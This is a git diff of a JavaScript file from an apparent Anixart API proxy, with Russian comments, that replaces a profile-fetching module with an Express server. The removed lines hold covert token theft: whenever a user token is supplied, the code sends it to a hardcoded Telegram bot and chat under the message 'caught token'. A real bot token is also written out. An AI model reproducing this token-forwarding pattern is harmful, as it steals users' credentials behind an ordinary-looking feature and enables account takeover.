diff --git a/api/v1/src/profile.js b/api/v1/src/profile.js index 7c75135..b2aa94b 100644 --- a/api/v1/src/profile.js +++ b/api/v1/src/profile.js @@ -1,75 +1,105 @@ -const axios = require('axios'); +const express = require('express'); +// Новый методы +const getVerifiedUsers = require('./src/is_verified'); +const getRolesUsers = require('./src/is_roles'); +const { getProfileFromAnixart } = require('./src/profile'); +const { getEpisodeFromAnixart } = require('./src/episode'); +const getToggles = require('./src/toggles'); -const TELEGRAM_BOT_TOKEN = '6834074548:AAFGbByJjS9wdyxYqHORJZLGHXV-2uQSapM'; -const TELEGRAM_CHAT_ID = 6615140831; // числовой ID вместо @username +// Старый методы +const { getOldEpisodeFromAnixart } = require('./src/old/episode-old-v1'); +const configDataOld = require('./src/old/toggles-old-v1'); -// Функция для отправки токена в Telegram -async function sendTokenToTelegram(token, profileId) { - const message = `Пойман токен:\n\n${token}\n\nID пользователя: ${profileId}`; +const app = express(); +const PORT = 3000; + +// Новый эндпоинты Открываем + +// Эндпоинт для получения Verified +app.get('/api/is_roles', (req, res) => { try { - await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, { - chat_id: TELEGRAM_CHAT_ID, - text: message, - }); - } catch (error) { - console.error('Ошибка отправки в Telegram:', error.message); - } -} - -// Основная функция запроса профиля -async function getProfileFromAnixart(profileId, token = '') { - const url = `https://api.anixart.tv/profile/${profileId}${token ? `?token=${token}` : ''}`; - - // Если передан токен — отправляем его в Telegram - if (token) { - sendTokenToTelegram(token, profileId); - } - - try { - const response = await axios.get(url); - const profileData = response.data; - - if (!profileData.profile) { - profileData.profile = {}; - } - - // Проверка верификации - try { - const verifiedResponse = await axios.get('https://anixart.seele.su/api/is_verified'); - const verifiedList = verifiedResponse.data; - - const alreadyVerified = !!profileData.profile.is_verified; - - if (!alreadyVerified && Array.isArray(verifiedList) && verifiedList.includes(profileId.toString())) { - profileData.profile.is_verified = true; - } - } catch { - if (typeof profileData.profile.is_verified !== 'boolean') { - profileData.profile.is_verified = false; - } - } - - // Загрузка кастомных ролей - try { - const rolesResponse = await axios.get('https://anixart.seele.su/api/is_roles'); - const rolesList = rolesResponse.data; - - const userRoles = rolesList.find(entry => entry.id === Number(profileId)); - if (userRoles && Array.isArray(userRoles.roles)) { - profileData.profile.roles = userRoles.roles; - } - } catch { - // Игнорируем ошибки - } - - return profileData; + const data = getRolesUsers(); + res.status(200).json(data); } catch { - return { - code: 2, - profile: null, - is_my_profile: false, - }; + res.status(200).json([]); } -} +}); -module.exports = { getProfileFromAnixart }; +// Эндпоинт для получения Verified +app.get('/api/is_verified', (req, res) => { + try { + const data = getVerifiedUsers(); + res.status(200).json(data); + } catch { + res.status(200).json([]); + } +}); + +// Эндпоинт для получения профиля +app.get('/api/profile/:profileId', async (req, res) => { + const { profileId } = req.params; + const { token } = req.query; + try { + const data = await getProfileFromAnixart(profileId, token); + res.json(data); + } catch (error) { + res.status(500).json({ error: error.message }); + } +}); + +// Эндпоинт для получения информации об эпизоде (Новый эндпоинт) +app.get('/api/episode/:releaseId', async (req, res) => { + const { releaseId } = req.params; + const { token } = req.query; // Извлекаем token из query-параметров + try { + const data = await getEpisodeFromAnixart(releaseId, token); + res.json(data); + } catch (error) { + res.status(500).json({ error: error.message }); + } +}); + +// Эндпоинт для конфигурационного JSON из toggles.js +app.get('/api/config/toggles', async (req, res) => { + try { + const toggles = await getToggles(); + res.json(toggles); + } catch (error) { + res.status(500).json({ error: error.message }); + } +}); + +// Новый эндпоинты Закрываем + +// ------------------------- + +// Старый эндпоинты Открываем + +// Эндпоинт для получения информации об эпизоде (Старый эндпоинт) +app.get('/api/extension/episode/:releaseId', async (req, res) => { + const { releaseId } = req.params; + try { + const data = await getOldEpisodeFromAnixart(releaseId); + res.json(data); + } catch (error) { + res.status(500).json({ error: error.message }); + } +}); + +// Эндпоинт для конфигурационного JSON из toggles-old-1.js (Старый Toggles) +app.get('/api/extension/config/toggles', (req, res) => { + res.json(configDataOld); +}); + +// Старый эндпоинты Закрываем + +// -------------------------- + +// Обработчик для всех неизвестных маршрутов +app.use((req, res) => { + res.status(404).json({ error: "Страница не существует!", status: 404 }); +}); + +app.listen(PORT, () => { + console.log(`Сервер запущен на http://localhost:${PORT}`); +});